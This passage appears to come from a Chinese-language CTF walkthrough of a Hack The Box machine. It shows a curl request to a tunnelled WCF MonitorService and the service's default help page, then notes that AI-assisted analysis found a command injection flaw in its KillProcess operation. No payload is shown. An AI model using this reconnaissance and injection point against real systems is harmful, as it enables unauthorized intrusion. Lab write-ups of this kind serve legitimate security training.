┌──(root㉿kaada)-[/opt/frp_0.67.0_windows_amd64] └─# curl http://127.0.0.1:8000/MonitorService <HTMLlang="en"><HEAD><linkrel="alternate"type="text/xml"href="http://overwatch.htb:8000/MonitorService?disco"/><STYLEtype="text/css">#content{ FONT-SIZE: 0.7em; PADDING-BOTTOM: 2em; MARGIN-LEFT: 30px}BODY{MARGIN-TOP: 0px; MARGIN-LEFT: 0px; COLOR: #000000; FONT-FAMILY: Verdana; BACKGROUND-COLOR: white}P{MARGIN-TOP: 0px; MARGIN-BOTTOM: 12px; COLOR: #000000; FONT-FAMILY: Verdana}PRE{BORDER-RIGHT: #f0f0e01px solid; PADDING-RIGHT: 5px; BORDER-TOP: #f0f0e01px solid; MARGIN-TOP: -5px; PADDING-LEFT: 5px; FONT-SIZE: 1.2em; PADDING-BOTTOM: 5px; BORDER-LEFT: #f0f0e01px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #f0f0e01px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e5e5cc}.heading1{MARGIN-TOP: 0px; PADDING-LEFT: 15px; FONT-WEIGHT: normal; FONT-SIZE: 26px; MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 3px; MARGIN-LEFT: -30px; WIDTH: 100%; COLOR: #ffffff; PADDING-TOP: 10px; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #003366}.intro{display: block; font-size: 1em;}</STYLE><TITLE>MonitoringService Service</TITLE></HEAD><BODY><DIVid="content"role="main"><h1class="heading1">MonitoringService Service</h1><BR/><Pclass="intro">You have created a service.<Pclass='intro'>To test this service, you will need to create a client and use it to call the service. You can do this using the svcutil.exe tool from the command line with the following syntax:</P><BR/><PRE>svcutil.exe <AHREF="http://overwatch.htb:8000/MonitorService?wsdl">http://overwatch.htb:8000/MonitorService?wsdl</A></PRE><P>You can also access the service description as a single file:<BR/><PRE><AHREF="http://overwatch.htb:8000/MonitorService?singleWsdl">http://overwatch.htb:8000/MonitorService?singleWsdl</A></PRE></P></P><Pclass="intro">This will generate a configuration file and a code file that contains the client class. Add the two files to your client application and use the generated client class to call the Service. For example:<BR/></P><h2class='intro'>C#</h2><br /><PRE><fontcolor="blue">class </font><fontcolor="black">Test </font>{ <fontcolor="blue"> static void </font>Main() { <fontcolor="black">MonitoringServiceClient</font> client = <fontcolor="blue">new </font><fontcolor="black">MonitoringServiceClient</font>();
<fontcolor="darkgreen"> // Use the 'client' variable to call operations on the service.
</font><fontcolor="darkgreen"> // Always close the client. </font> client.Close(); } } </PRE><BR/><h2class='intro'>Visual Basic</h2><br /><PRE><fontcolor="blue">Class </font><fontcolor="black">Test </font><fontcolor="blue"> Shared Sub </font>Main() <fontcolor="blue"> Dim </font>client As <fontcolor="black">MonitoringServiceClient</font> = <fontcolor="blue">New </font><fontcolor="black">MonitoringServiceClient</font>() <fontcolor="darkgreen"> ' Use the 'client' variable to call operations on the service.
</font><fontcolor="darkgreen"> ' Always close the client. </font> client.Close() <fontcolor="blue"> End Sub </font><fontcolor="blue">End Class</font></PRE></DIV></BODY></HTML>
将代码丢给ai逆向分析,发现KillProcess拥有命令注入漏洞。
在这堆 XML 中,最核心的机密就是 <xs:element name="KillProcess"> 这一段。它清楚地告诉我们: